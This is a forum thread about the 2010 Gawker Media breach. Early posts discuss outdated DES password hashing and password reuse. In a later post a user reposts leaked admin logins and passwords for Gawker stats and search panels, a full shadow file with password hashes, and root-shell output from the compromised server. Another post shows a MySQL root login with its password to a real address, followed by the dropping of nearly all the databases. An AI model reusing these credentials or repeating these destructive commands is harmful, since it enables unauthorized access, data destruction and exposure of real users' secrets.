Results 1 to 9 of 9

Thread: Gawker Media hack

  1. #1
    Junior Member
    Join Date
    Jun 2004
    Posts
    19

    Gawker Media hack

    This is going to stir things up. Below is Google news for Gawker Media which if your on this site you more than likely read one or more of their sites.

    http://www.google.com/#hl=en&expIds=...a3aa67685d478a

  2. #2
    Gonzo District BOFH westin's Avatar
    Join Date
    Jan 2006
    Location
    SW MO
    Posts
    1,187
    Just one more reason not to use the same password across multiple sites.
    \"Those of us that had been up all night were in no mood for coffee and donuts, we wanted strong drink.\"

    -HST

  3. #3
    HYBR|D
    Guest
    Gawker uses a really outdated hashing algorithm known as DES (Data Encryption Standard).
    Because DES has a maximum of 8chars using a password like "abcdefgh1234" only the first 8 characters "abcdefgh" are encrypted and stored in the database. If your password is longer than 8 characters you only need to enter the first 8 characters to log in!

    I'll be making a fresh thread with a ton of info shortly

  4. #4
    HYBR|D
    Guest
    Quote Originally Posted by westin View Post
    Just one more reason not to use the same password across multiple sites.
    You think that's silly, i'm still giggling at the amount of users that actually used "password" for there login, and used "password" onto other site's attached to there e-mail.
    Last edited by HYBR|D; October 14th, 2011 at 04:32 AM.

  5. #5
    Senior Member
    Join Date
    Apr 2005
    Location
    USA
    Posts
    422
    Hahaha thats great. Where did you get that list? I was looking for the list, as thats a nice large amount of data to run some of my own statistics on.

  6. #6
    HYBR|D
    Guest
    I've got a copy of the leaked DB, and a heap of other things that arrived in my e-mail a few days ago.

    this looks interesting.

    * Stats page:
    Username: gawker
    Password: kr0n0s
    - http://stats.gawker.com/admin/stat/
    - http://stats.gawker.com/admin/stat/?...rl=gizmodo.com
    * Quite slow, but it shows lots of nice stats.
    - Also: This works for ANY gawkmedia site (With the same password):
    * http://stats.lifehacker.com/admin/stat/

    * SOLR
    Username: chronic
    Password: 8u5hm1Ll5
    - http://search.gawker.com:8080/externalPosts/admin/


    sh-3.1# cat /etc/shadow
    root:$1$ZKY8A5uw$H.oUrUa5dUqgtUnI0v5J./:14536:0:99999:7:::
    bin:*:13706:0:99999:7:::
    daemon:*:13706:0:99999:7:::
    adm:*:13706:0:99999:7:::
    lp:*:13706:0:99999:7:::
    sync:*:13706:0:99999:7:::
    shutdown:*:13706:0:99999:7:::
    halt:*:13706:0:99999:7:::
    mail:*:13706:0:99999:7:::
    news:*:13706:0:99999:7:::
    uucp:*:13706:0:99999:7:::
    operator:*:13706:0:99999:7:::
    games:*:13706:0:99999:7:::
    gopher:*:13706:0:99999:7:::
    ftp:*:13706:0:99999:7:::
    nobody:*:13706:0:99999:7:::
    rpm:!!:13706:0:99999:7:::
    dbus:!!:13706:0:99999:7:::
    avahi:!!:13706:0:99999:7:::
    nscd:!!:13706:0:99999:7:::
    mailnull:!!:13706:0:99999:7:::
    smmsp:!!:13706:0:99999:7:::
    vcsa:!!:13706:0:99999:7:::
    haldaemon:!!:13706:0:99999:7:::
    rpc:!!:13706:0:99999:7:::
    rpcuser:!!:13706:0:99999:7:::
    nfsnobody:!!:13706:0:99999:7:::
    sshd:!!:13706:0:99999:7:::
    pcap:!!:13706:0:99999:7:::
    sabayon:!!:13706:0:99999:7:::
    xfs:!!:13706:0:99999:7:::
    erin:$1$DZl//G1l$XDw4XWBqVKc0oZycN/DMa1:13706:0:99999:7:::
    brett:$1$.AY0sDjJ$z/toofljfRIkkz8uTdk4h1:13706:0:99999:7:::
    mysql:!!:13706::::::
    nagios:$1$aEg68XT4$nCEFDYMg55ECQ/XLOof4L0:13719:0:99999:7:::
    keki:$1$i1XA.YxF$HowDMOAbJj0f78RGETsPZ/:13774:0:99999:7:::
    consumerist:$1$8Rqf1WRu$0SzDpBav6ZFb0Ysl.fYhT0:14462:0:99999:7:::
    cacti:$1$2mZ/JS5g$tCNpGrzEw9D7bvQ0ZYPTN1:14748:0:99999:7:::
    sh-3.1# ps -aux
    Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.0 10304 728 ? Ss Nov25 0:01 init [3]
    root 2 0.0 0.0 0 0 ? S Nov25 0:00 [migration/0]
    root 3 0.0 0.0 0 0 ? SN Nov25 0:00 [ksoftirqd/0]
    root 4 0.0 0.0 0 0 ? S Nov25 0:00 [watchdog/0]
    root 5 0.0 0.0 0 0 ? S Nov25 0:00 [migration/1]
    root 6 0.0 0.0 0 0 ? SN Nov25 0:00 [ksoftirqd/1]
    root 7 0.0 0.0 0 0 ? S Nov25 0:00 [watchdog/1]
    root 8 0.0 0.0 0 0 ? S Nov25 0:00 [migration/2]
    root 9 0.0 0.0 0 0 ? SN Nov25 0:00 [ksoftirqd/2]
    root 10 0.0 0.0 0 0 ? S Nov25 0:00 [watchdog/2]
    root 11 0.0 0.0 0 0 ? S Nov25 0:00 [migration/3]
    root 12 0.0 0.0 0 0 ? SN Nov25 0:00 [ksoftirqd/3]
    root 13 0.0 0.0 0 0 ? S Nov25 0:00 [watchdog/3]
    root 14 0.0 0.0 0 0 ? S< Nov25 0:00 [events/0]
    root 15 0.0 0.0 0 0 ? S< Nov25 0:00 [events/1]
    root 16 0.0 0.0 0 0 ? S< Nov25 0:00 [events/2]
    root 17 0.0 0.0 0 0 ? S< Nov25 0:00 [events/3]
    root 18 0.0 0.0 0 0 ? S< Nov25 0:00 [khelper]
    root 87 0.0 0.0 0 0 ? S< Nov25 0:00 [kthread]
    root 95 0.0 0.0 0 0 ? S< Nov25 0:00 [kblockd/0]
    root 96 0.0 0.0 0 0 ? S< Nov25 0:00 [kblockd/1]
    root 97 0.0 0.0 0 0 ? S< Nov25 0:00 [kblockd/2]
    root 98 0.0 0.0 0 0 ? S< Nov25 0:00 [kblockd/3]
    root 99 0.0 0.0 0 0 ? S< Nov25 0:00 [kacpid]
    root 236 0.0 0.0 0 0 ? S< Nov25 0:00 [cqueue/0]
    root 237 0.0 0.0 0 0 ? S< Nov25 0:00 [cqueue/1]
    root 238 0.0 0.0 0 0 ? S< Nov25 0:00 [cqueue/2]
    root 239 0.0 0.0 0 0 ? S< Nov25 0:00 [cqueue/3]
    root 242 0.0 0.0 0 0 ? S< Nov25 0:00 [khubd]
    root 244 0.0 0.0 0 0 ? S< Nov25 0:00 [kseriod]
    root 335 0.0 0.0 0 0 ? S Nov25 0:00 [pdflush]
    root 336 0.0 0.0 0 0 ? S Nov25 0:11 [pdflush]
    root 337 0.0 0.0 0 0 ? S< Nov25 0:00 [kswapd0]
    root 338 0.0 0.0 0 0 ? S< Nov25 0:00 [kswapd1]
    root 339 0.0 0.0 0 0 ? S< Nov25 0:00 [aio/0]
    root 340 0.0 0.0 0 0 ? S< Nov25 0:00 [aio/1]
    root 341 0.0 0.0 0 0 ? S< Nov25 0:00 [aio/2]
    root 342 0.0 0.0 0 0 ? S< Nov25 0:00 [aio/3]
    root 487 0.0 0.0 0 0 ? S< Nov25 0:00 [kpsmoused]
    root 534 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_0]
    root 535 0.0 0.0 0 0 ? S< Nov25 0:00 [aacraid]
    root 541 0.0 0.0 0 0 ? S< Nov25 0:00 [ata/0]
    root 542 0.0 0.0 0 0 ? S< Nov25 0:00 [ata/1]
    root 543 0.0 0.0 0 0 ? S< Nov25 0:00 [ata/2]
    root 544 0.0 0.0 0 0 ? S< Nov25 0:00 [ata/3]
    root 545 0.0 0.0 0 0 ? S< Nov25 0:00 [ata_aux]
    root 551 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_1]
    root 552 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_2]
    root 553 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_3]
    root 554 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_4]
    root 555 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_5]
    root 556 0.0 0.0 0 0 ? S< Nov25 0:00 [scsi_eh_6]
    root 557 0.0 0.0 0 0 ? S< Nov25 0:11 [kjournald]
    root 585 0.0 0.0 0 0 ? S< Nov25 0:00 [kauditd]
    root 619 0.0 0.0 12560 736 ? S<s Nov25 0:00 /sbin/udevd -d
    root 1226 0.0 0.0 0 0 ? S< Nov25 0:00 [kedac]
    root 1608 0.0 0.0 0 0 ? S< Nov25 0:00 [kmirrord]
    root 1632 0.0 0.0 0 0 ? S< Nov25 0:00 [kjournald]
    root 1634 0.0 0.0 0 0 ? S< Nov25 0:17 [kjournald]
    root 1636 0.0 0.0 0 0 ? S< Nov25 0:28 [kjournald]
    root 2256 0.0 0.0 81764 700 ? S<sl Nov25 0:06 auditd
    root 2258 0.0 0.0 116152 4636 ? S<s Nov25 0:08 python /sbin/audispd
    root 2277 0.0 0.0 5868 648 ? Ss Nov25 0:06 syslogd -m 0
    root 2280 0.0 0.0 3764 428 ? Ss Nov25 0:00 klogd -x
    root 2296 0.0 0.0 3816 352 ? Ss Nov25 0:00 irqbalance
    rpc 2331 0.0 0.0 8004 584 ? Ss Nov25 0:00 portmap
    root 2356 0.0 0.0 8012 756 ? Ss Nov25 0:00 rpc.statd
    root 2400 0.0 0.0 42004 680 ? Ss Nov25 0:00 rpc.idmapd
    dbus 2427 0.0 0.0 21216 756 ? Ss Nov25 0:00 dbus-daemon --system
    root 2473 0.0 0.0 20988 1288 ? Ssl Nov25 0:03 pcscd
    root 2499 0.0 0.0 95432 1188 ? Ssl Nov25 0:00 automount
    root 2522 0.0 0.0 3760 548 ? Ss Nov25 0:00 /usr/sbin/acpid
    root 2539 0.0 0.0 103440 5404 ? S Nov25 0:12 /usr/sbin/snmpd -Lsd -Lf /dev/null -p /var/run/snmpd -a
    root 2554 0.0 0.0 125952 2272 ? Ss Nov25 0:00 cupsd
    root 2572 0.0 0.0 44284 1084 ? Ss Nov25 0:10 /usr/sbin/sshd
    root 2578 0.0 0.1 334936 16084 ? Ss Nov25 0:03 /usr/local/apache2/bin/httpd -k start
    root 2592 0.0 0.0 17212 908 ? S Nov25 0:00 /usr/local/bin/memcached -u root -m 1024 -p 11211 -u root -c 2048
    nagios 2607 0.0 0.0 33260 968 ? Ss Nov25 0:00 /usr/local/nagios/bin/nrpe -c /etc/nrpe.cfg -d
    root 2635 0.0 0.0 64592 448 ? Ss Nov25 0:00 /usr/bin/rsync --daemon --config /etc/rsyncd.conf
    root 2667 0.0 0.0 73908 1144 ? Ss Nov25 0:00 crond
    xfs 2855 0.0 0.0 20140 1100 ? Ss Nov25 0:00 xfs -droppriv -daemon
    root 2884 0.0 0.0 18672 448 ? Ss Nov25 0:00 /usr/sbin/atd
    root 2903 0.0 0.2 241624 18076 ? S Nov25 0:11 /usr/bin/python /usr/sbin/yum-updatesd
    avahi 2919 0.0 0.0 24112 1372 ? Ss Nov25 0:00 avahi-daemon: running [gm44.local]
    avahi 2920 0.0 0.0 23088 328 ? Ss Nov25 0:00 avahi-daemon: chroot helper
    root 2953 0.0 0.0 4036 356 ? S Nov25 0:00 /usr/sbin/smartd -q never
    root 2959 0.0 0.0 3752 456 tty1 Ss+ Nov25 0:00 /sbin/mingetty tty1
    root 2960 0.0 0.0 3748 452 tty2 Ss+ Nov25 0:00 /sbin/mingetty tty2
    root 2962 0.0 0.0 3748 452 tty3 Ss+ Nov25 0:00 /sbin/mingetty tty3
    root 2971 0.0 0.0 3748 452 tty4 Ss+ Nov25 0:00 /sbin/mingetty tty4
    root 2975 0.0 0.0 3748 452 tty5 Ss+ Nov25 0:00 /sbin/mingetty tty5
    root 2976 0.0 0.0 3752 456 tty6 Ss+ Nov25 0:00 /sbin/mingetty tty6
    nobody 12530 0.0 0.0 65032 1376 ? Ss 06:51 0:00 /usr/sbin/apache -i
    nobody 12777 0.0 0.0 65032 1220 ? S 06:54 0:00 /bin/sh ./h0lol.sh
    root 12867 0.0 0.0 10876 1312 ? S 06:54 0:01 /bin/sh -i
    nobody 16148 0.0 0.0 65028 1344 ? Ss 07:22 0:00 /usr/sbin/apache -i
    nobody 16254 0.0 0.0 65032 1220 ? S 07:23 0:00 /bin/sh ./h0lol.sh
    root 16344 0.9 0.0 10876 1312 ? S 07:23 0:01 /bin/sh -i
    root 16482 0.0 0.0 10416 852 ? R 07:25 0:00 ps -aux
    nobody 22249 1.7 1.0 368016 88040 ? S 04:02 3:27 /usr/local/apache2/bin/httpd -k start
    nobody 22252 1.6 1.1 361140 96932 ? S 04:02 3:19 /usr/local/apache2/bin/httpd -k start
    nobody 22254 1.8 1.0 356052 88020 ? S 04:02 3:42 /usr/local/apache2/bin/httpd -k start
    nobody 22256 1.5 0.9 356212 76668 ? S 04:02 3:14 /usr/local/apache2/bin/httpd -k start
    nobody 22270 1.7 1.0 358292 84720 ? S 04:02 3:34 /usr/local/apache2/bin/httpd -k start
    nobody 22274 1.6 0.9 357892 81812 ? S 04:02 3:25 /usr/local/apache2/bin/httpd -k start
    nobody 22277 1.6 0.8 354388 70372 ? S 04:02 3:20 /usr/local/apache2/bin/httpd -k start
    nobody 22292 1.8 0.8 345840 71568 ? S 04:02 3:48 /usr/local/apache2/bin/httpd -k start
    nobody 22311 1.7 0.8 359196 72904 ? S 04:02 3:38 /usr/local/apache2/bin/httpd -k start
    nobody 22318 1.6 1.0 352648 82820 ? S 04:02 3:17 /usr/local/apache2/bin/httpd -k start
    nobody 22319 1.6 0.8 351764 67064 ? S 04:02 3:15 /usr/local/apache2/bin/httpd -k start
    nobody 22347 1.6 1.0 348732 82796 ? S 04:02 3:15 /usr/local/apache2/bin/httpd -k start
    nobody 22349 1.5 1.1 357044 90252 ? S 04:02 3:09 /usr/local/apache2/bin/httpd -k start
    nobody 22367 2.0 0.8 347740 71552 ? S 04:02 4:09 /usr/local/apache2/bin/httpd -k start
    nobody 22381 1.6 0.9 358412 80464 ? S 04:02 3:25 /usr/local/apache2/bin/httpd -k start
    nobody 22387 1.5 0.9 346996 75400 ? S 04:02 3:14 /usr/local/apache2/bin/httpd -k start
    nobody 22404 1.7 1.2 381004 100164 ? S 04:02 3:28 /usr/local/apache2/bin/httpd -k start
    nobody 22420 1.5 1.0 370304 86108 ? S 04:02 3:14 /usr/local/apache2/bin/httpd -k start
    nobody 22425 1.5 0.8 354448 70848 ? S 04:02 3:04 /usr/local/apache2/bin/httpd -k start
    nobody 22429 1.5 0.8 354536 73136 ? S 04:02 3:06 /usr/local/apache2/bin/httpd -k start
    nobody 22446 1.4 0.9 350196 78040 ? S 04:02 3:01 /usr/local/apache2/bin/httpd -k start
    nobody 22447 1.5 0.7 346660 64300 ? S 04:02 3:12 /usr/local/apache2/bin/httpd -k start
    nobody 22451 1.6 1.2 367056 99364 ? S 04:02 3:15 /usr/local/apache2/bin/httpd -k start
    nobody 22454 1.7 1.0 350428 89344 ? S 04:02 3:27 /usr/local/apache2/bin/httpd -k start
    nobody 22457 1.6 0.9 351080 77276 ? S 04:02 3:22 /usr/local/apache2/bin/httpd -k start
    nobody 22460 1.5 0.9 359592 76608 ? S 04:02 3:05 /usr/local/apache2/bin/httpd -k start
    nobody 22470 1.6 1.3 379516 110684 ? S 04:02 3:23 /usr/local/apache2/bin/httpd -k start
    nobody 22482 1.8 0.9 360904 77940 ? S 04:02 3:40 /usr/local/apache2/bin/httpd -k start
    nobody 22483 1.7 0.8 352240 68496 ? S 04:02 3:28 /usr/local/apache2/bin/httpd -k start
    nobody 22484 1.5 0.8 351924 67992 ? S 04:02 3:11 /usr/local/apache2/bin/httpd -k start
    nobody 22487 1.3 0.9 355744 79820 ? S 04:02 2:47 /usr/local/apache2/bin/httpd -k start
    nobody 22489 1.7 0.8 354836 69956 ? S 04:02 3:37 /usr/local/apache2/bin/httpd -k start
    nobody 22509 1.5 1.0 359876 89484 ? S 04:02 3:04 /usr/local/apache2/bin/httpd -k start
    nobody 22518 1.7 0.9 353788 78304 ? S 04:02 3:31 /usr/local/apache2/bin/httpd -k start
    nobody 22519 1.5 0.8 354420 73564 ? S 04:02 3:13 /usr/local/apache2/bin/httpd -k start
    nobody 22525 1.6 0.9 351920 75688 ? S 04:02 3:16 /usr/local/apache2/bin/httpd -k start
    nobody 22531 1.9 0.9 353240 78740 ? S 04:02 3:57 /usr/local/apache2/bin/httpd -k start
    nobody 22536 1.7 1.0 351644 84996 ? S 04:02 3:33 /usr/local/apache2/bin/httpd -k start
    nobody 22537 1.7 1.3 377888 106976 ? S 04:02 3:39 /usr/local/apache2/bin/httpd -k start
    sh-3.1# cd /home
    sh-3.1# ls -al
    total 48
    drwxr-xr-x 8 root root 4096 May 19 2010 .
    drwxr-xr-x 24 root root 4096 Nov 25 04:02 ..
    drwx------ 3 brett brett 4096 Jul 30 2008 brett
    drwx------ 3 cacti cacti 4096 May 19 2010 cacti
    drwx------ 2 consumerist consumerist 4096 Aug 6 2009 consumerist
    drwx------ 3 erin erin 4096 Jul 10 2009 erin
    drwx------ 2 keki keki 4096 Sep 18 2007 keki
    drwx------ 3 nagios nagios 4096 Jul 25 2007 nagios
    sh-3.1# cd erin
    sh-3.1# ls -al
    total 80
    drwx------ 3 erin erin 4096 Jul 10 2009 .
    drwxr-xr-x 8 root root 4096 May 19 2010 ..
    -rw------- 1 erin erin 1637 Apr 18 2010 .bash_history
    -rw-r--r-- 1 erin erin 24 Jul 12 2007 .bash_logout
    -rw-r--r-- 1 erin erin 176 Jul 12 2007 .bash_profile
    -rw-r--r-- 1 erin erin 124 Jul 12 2007 .bashrc
    -rw-r--r-- 1 erin erin 515 Jul 12 2007 .emacs
    drwx------ 2 erin erin 4096 Sep 12 2007 .ssh
    -rw-r--r-- 1 erin erin 658 Jul 12 2007 .zshrc
    -rwxr-xr-x 1 root root 4553 Jun 12 2009 bloodcopy-gawker-ganja.conf
    -rwxr-xr-x 1 root root 630 Jul 10 2009 uploads-kinja.conf
    sh-3.1# cat .bash_history
    ps -ef
    ps -ef
    sudo su -
    sudo su -
    ps -ef| grep nrp
    sudo su-
    sudo su -
    top
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    watch w
    df -h
    df -h
    sudo su -
    df -h
    sudo su -
    ps -ef| more
    sudo su -
    watch w
    watch nslookup xmli.ganja
    watch nslookup xmli.ganja.kinja.com
    watch w
    cat /etc/resolv.conf
    watch nslookup xmli.ganja.kinja.com
    date
    sudo su -
    watch nslookup xmli.ganja.kinja.com
    ssh 192.168.2.61
    ssh root@192.168.2.61
    watch w
    date
    sudo su 0
    sudo su -
    w
    w
    w
    w
    w
    watch w
    watch w
    watch w
    sudo su -
    sudo su -
    watch w
    sudo su -
    watch w
    sudo su -
    sudo su -
    date
    date
    date
    sudo su-
    sudo su -
    watch w
    ssh gm48
    sudo su -
    uname -a
    watch w
    watch w
    sudo su -
    w
    sudo su -
    wathc w
    htop
    w
    ps -ef
    kill 3000
    sudo su -
    w
    w
    ssh gm45
    watch w
    watch w
    watch w
    ssh gm45
    watch w
    sudo su -
    watch w
    watch w
    df -h
    cd /www
    ls
    watch w
    df -h
    watch w
    w
    sudo su -
    sudo su -
    watch w
    sudo su -
    watch w
    sudo su -
    sudo su -
    sudo su -
    watch w
    sudo su -
    watch w
    w
    w
    w
    ssh gm45
    sudo su -
    w
    w
    ssh gm45
    sudo su -
    watch w
    watch w
    ssh gm40
    sudo su -
    sudo su 0
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su 0-
    sudo su -
    sudo su -
    df -h
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    watch w
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    WATCH W
    telnet localhost 11211
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    watch w
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sudo su -
    sh-3.1# ifconfig
    sh: ifcongfig: command not found
    sh-3.1# ifconfig
    eth0 Link encap:Ethernet HWaddr 00:30:48:79:7B:20
    inet addr:192.168.2.44 Bcast:192.168.2.255 Mask:255.255.255.0
    inet6 addr: fe80::230:48ff:fe79:7b20/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:66280064 errors:0 dropped:0 overruns:0 frame:0
    TX packets:59901493 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:21088019223 (19.6 GiB) TX bytes:241355323078 (224.7 GiB)
    Interrupt:50 Base address:0x4000

    eth1 Link encap:Ethernet HWaddr 00:30:48:79:7B:21
    inet addr:192.168.3.44 Bcast:192.168.3.255 Mask:255.255.255.0
    inet6 addr: fe80::230:48ff:fe79:7b21/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:368123602 errors:0 dropped:0 overruns:0 frame:0
    TX packets:273374208 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:330607377211 (307.9 GiB) TX bytes:52467804678 (48.8 GiB)
    Interrupt:66 Base address:0x6000

    lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:18198 errors:0 dropped:0 overruns:0 frame:0
    TX packets:18198 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:2924784 (2.7 MiB) TX bytes:2924784 (2.7 MiB)

  7. #7
    HYBR|D
    Guest
    wooops.

    [gnosis@b0x ~]$ mysql -h 69.60.7.205 -P 9254 -u root -pm00nsh1n3
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 791013
    Server version: 5.1.30-enterprise-gpl-pro-log MySQL Enterprise Server - Pro Edition (GPL)

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

    mysql> SHOW DATABASES;
    +--------------------+
    | Database |
    +--------------------+
    | information_schema |
    | anothercity |
    | cityfile |
    | comment_user |
    | comment_user_dev |
    | consumerist |
    | ganja |
    | ganja_ad |
    | ganja_archive |
    | ganja_dev |
    | ganja_extern |
    | ganja_innodb_test |
    | ganja_meta |
    | ganja_rev |
    | ganja_stats |
    | ganja_test |
    | ganja_unique_stats |
    | ganjaction |
    | gawker_book |
    | mysql |
    | network |
    | pubsub_subscriber |
    | survey |
    | test |
    +--------------------+
    24 rows in set (0.36 sec)

    mysql> DROP DATABASE anothercity;
    Query OK, 26 rows affected (1.04 sec)

    mysql> DROP DATABASE cityfile;
    Query OK, 2 rows affected (0.40 sec)

    mysql> DROP DATABASE comment_user;
    Query OK, 2 rows affected (0.35 sec)

    mysql> DROP DATABASE comment_user_dev;
    Query OK, 25 rows affected (4.17 sec)

    mysql> DROP DATABASE ganja;
    DROP DATQuery OK, 49 rows affected (5.75 sec)

    mysql> DROP DATABASE ganja_ad;
    Query OK, 8 rows affected (2.47 sec)

    mysql> DROP DATABASE ganja_archive;
    Query OK, 5 rows affected (0.90 sec)

    mysql> DROP DATABASE ganja_dev;
    Query OK, 14 rows affected (1.34 sec)

    mysql> DROP DATABASE ganja_extern;
    Query OK, 12 rows affected (0.62 sec)

    mysql> DROP DATABASE ganja_innodb_test;
    Query OK, 42 rows affected (2.86 sec)

    mysql> DROP DATABASE ganja_meta;
    Query OK, 4 rows affected (0.32 sec)

    mysql> DROP DATABASE ganja_rev;
    Query OK, 4 rows affected (0.31 sec)

    mysql> DROP DATABASE ganja_test;
    Query OK, 16 rows affected (2.09 sec)

    mysql> DROP DATABASE ganja_unique_stats;
    Query OK, 5 rows affected (0.38 sec)

    mysql> DROP DATABASE ganjaction;
    Query OK, 1 row affected (0.35 sec)

    mysql> DROP DATABASE gawker_book;
    Query OK, 1 row affected (0.26 sec)

    mysql> DROP DATABASE mysql;
    Query OK, 23 rows affected, 2 warnings (0.72 sec)

    mysql> DROP DATABASE network;
    Query OK, 0 rows affected, 2 warnings (0.30 sec)

    mysql> DROP DATABASE pubsub_subscriber;
    Query OK, 4 rows affected, 2 warnings (0.41 sec)

    mysql> DROP DATABASE survey;
    Query OK, 2 rows affected, 2 warnings (0.29 sec)

    mysql> DROP DATABASE test;
    Query OK, 1 row affected, 2 warnings (0.24 sec)

    mysql> DROP DATABASE ganja_stats;
    Query OK, 5 rows affected, 2 warnings (0.34 sec)

    mysql> DROP DATABASE information_schema;
    ERROR 1044 (42000): Access denied for user 'root'@'192.168.2.%' to database 'information_schema'

    mysql> SHOW DATABASES;
    +--------------------+
    | Database |
    +--------------------+
    | information_schema |
    +--------------------+
    1 row in set (0.26 sec)

    mysql> Aborted
    [gnosis@b0x ~]$

  8. #8
    Junior Member
    Join Date
    Dec 2010
    Location
    Chicago, Illinois
    Posts
    3
    You guys turn me on with this computer talk. I sent you all invitations to be my friend. Hope to chat with you soon.

  9. #9
    AOs Resident Troll
    Join Date
    Nov 2003
    Posts
    3,152
    mmmmmm I didnt get one

    MLF
    How people treat you is their karma- how you react is yours-Wayne Dyer

Similar Threads

  1. Windows Error Messages
    By cheyenne1212 in forum Miscellaneous Security Discussions
    Replies: 7
    Last Post: February 1st, 2012, 02:51 PM
  2. Autopsy of a successful intrusion
    By gore in forum Miscellaneous Security Discussions
    Replies: 11
    Last Post: June 13th, 2006, 04:06 AM
  3. Media file Issue
    By Ratman2 in forum Microsoft Security Discussions
    Replies: 4
    Last Post: March 5th, 2002, 08:17 PM
  4. hehe...for those who hate AO newbies...
    By zigar in forum AntiOnline's General Chit Chat
    Replies: 10
    Last Post: February 22nd, 2002, 02:24 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •